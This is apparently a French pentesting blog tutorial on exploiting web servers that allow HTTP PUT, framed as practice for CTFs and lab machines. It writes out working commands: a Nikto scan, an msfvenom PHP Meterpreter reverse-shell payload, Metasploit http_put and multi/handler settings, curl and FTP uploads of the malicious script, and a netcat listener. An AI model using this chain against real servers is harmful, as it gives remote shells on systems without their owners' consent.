Introduction : Qu’est-ce que la méthode HTTP PUT ?

 

C’est tout simplement la méthode qui permet la gestion de fichiers sur le server, par exemple ajouter ou supprimer des ressources. Si ce dernier est actif alors il est possible d’uploader un fichier dans le server cible, souvent lors d’un test d’intrusion on essaye d’envoyer un script malveillant pour avoir un shell Web.  

Cette méthode entraîne souvent des vulnérabilités de téléchargement de fichiers, ouvrant la porte à des attaques critiques et dangereuses pour les hackers. Pour remédier à ce problème, les autorisations d’accès aux fichiers des serveurs critiques, des organisations doivent être strictement limitées avec un accès restreint aux utilisateurs autorisés (voir mon article sur les permissions Linux).

Afin de comprendre le fonctionnement, nous allons voir 4 façons d’exploiter cette méthode :

  • Nikto
  • Metasploit Framework
  • Curl
  • ftp

  

 Pour cela nous utiliserons une machine virtuelle (Parrot OS Security).

 

Nikto

Tout d’abord, nous devons nous assurer que la machine cible vulnérable dispose de la méthode HTTP PUT qui nous a permis de télécharger un script malveillant. Pour cela, nous devons scanner la cible à l’aide de Nikto.

Nikto est un outil libre et open-source codé dans le langage Perl, qui permet de scanner un serveur web et d’afficher toutes les failles potentielles :

  • Fichiers/CGI dangereux
  • Logiciels de serveur obsolètes et d’autres problèmes
  • Vérifications génériques et spécifiques au type de serveur
  • Connexion SSL

 

Voici la commande à utiliser : nikto -h http://IP_Address/

 

 

Sur l’image ci-dessus on peut observer que la méthode HTTP PUT est autorisée. Maintenant préparons un script malveillant pour l’envoyer au server cible et obtenir notre shell.

On commence par créer le fichier avec msfvenom :

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.18 lport=443 -o shell.php

 

Voilà notre script est prêt, il ne vous manque plus qu’à l’uploader dans le server et de lancer l’exploit avec Metasploit Framework :

msfconsole -q et  use exploit/multi/handler

 

Metasploit Framework

Metasploit est un Framework (ensemble d’outils et de logiciels organisés) permettant d’effectuer des tests d’intrusion en suivant plusieurs étapes. Lorsque vous voulez effectuer un Pentesting, on a besoin de : scanner, payload, encoder, auxiliaire… etc. Pour éviter de réaliser ces actions avec différents outils, Metasploit est doté de toutes ces possibilités et d’outils de hacking.

Ce Framework peut abuser des serveurs Web mal configurés pour télécharger et supprimer du contenu Web via des requêtes HTTP PUT par exemple.

Metasploit a des modules auxiliaires intégrés dédiés à l’analyse des méthodes HTTP et nous donne la possibilité d’envoyer un fichier avec auxiliaire/scanner/http/http_put. Voici les commandes :

  • use auxiliary/scanner/http/http_put
  • set rhosts IP_ADDRESS
  • set rport listening_port
  • set path /upload_file/
  • set filename your_script
  • set filedata /emplacement_du_script

 

Obtenir un reverse_shell avec exploit/multi/handler :

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost IP_ADDRESS

set lport listening_port

run

 

 

CURL

CURL est un outil de ligne de commande bien connu et est disponible sur la plupart des systèmes basés sur Unix. C’est l’abréviation de « Client URL ». Les commandes Curl sont conçues pour fonctionner comme un moyen de vérifier la connectivité aux URL et comme un excellent outil pour transférer des données.

Exemple :

  • HTTP et HTTPS
  • FTP et FTPS
  • IMAP et IMAPS
  • SMB et SMBS
  • SFTP/SCP
  • TELNET
  • SMTP et SMTPS

Ces protocoles sont les plus importants, mais il en existe d’autres. Curl est alimenté par libcurl, qui est une bibliothèque gratuite de transfert d’URL.

Pour exploiter la méthode PUT avec cURL, la commande est :

curl http://192.168.1.145:8585/uploads/ –upload-file /home/parrot/Desktop/curl.php -v

Maintenant, nous allons utiliser Metasploit avec l’exploit : multi/handler

Et voilà, nous avons notre meterpreter_shell.

 

 

FTP

FTP est l’abréviation de File Transfer Protocol, c’est un protocole utilisé sur Internet pour l’échange de fichiers. Le FTP est généralement utilisé pour télécharger (GET) un fichier présent sur un server ou au contraire pour envoyer (PUT) un fichier vers un server.

Il n’est pas conseillé de s’en servir pour autre chose que le transfert de fichiers car vous ne pouvez généralement pas lire, ni modifier un fichier sans l’avoir téléchargé entièrement.

Avec le protocole FTP les données transitent en clair sur le réseau. Les protocoles FTPS (FTP sur SSL) SFTP (SSH) implémentent le protocole FTP avec un chiffrement des données / de la connexion.

 

Pour se connecter à un server FTP la commande est : ftp IP_ADDRESS

Utilisez la commande put fichier_malveillant

Voilà, notre script a bien été uploader sur le server. Il nous reste à obtenir notre shell avec netcat :

nc -lvnp port_d’écoute

Nous avons obtenu notre shell en exploitant la méthode PUT.

 

 

 

Nous sommes arrivés à la fin de cet article, nous avons vu plusieurs manières d’exploiter la méthode HTTP_PUT. Ces derniers sont souvent présents dans les CTFss (Capture The Flag), je vous invite donc à tester par vous-même.

Si vous avez des questions n’hésitez pas à me contacter ou laisser un commentaire, je ne manquerai pas de revenir vers vous au plus vite.

On se retrouve dans un prochain article, PEACE 😉 !

 

PS : Vous pouvez utiliser Metasploitable 3 et les CTFs sur Tryhackme pour vous entrainer.

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

3 × un =

Follow by Email
YouTube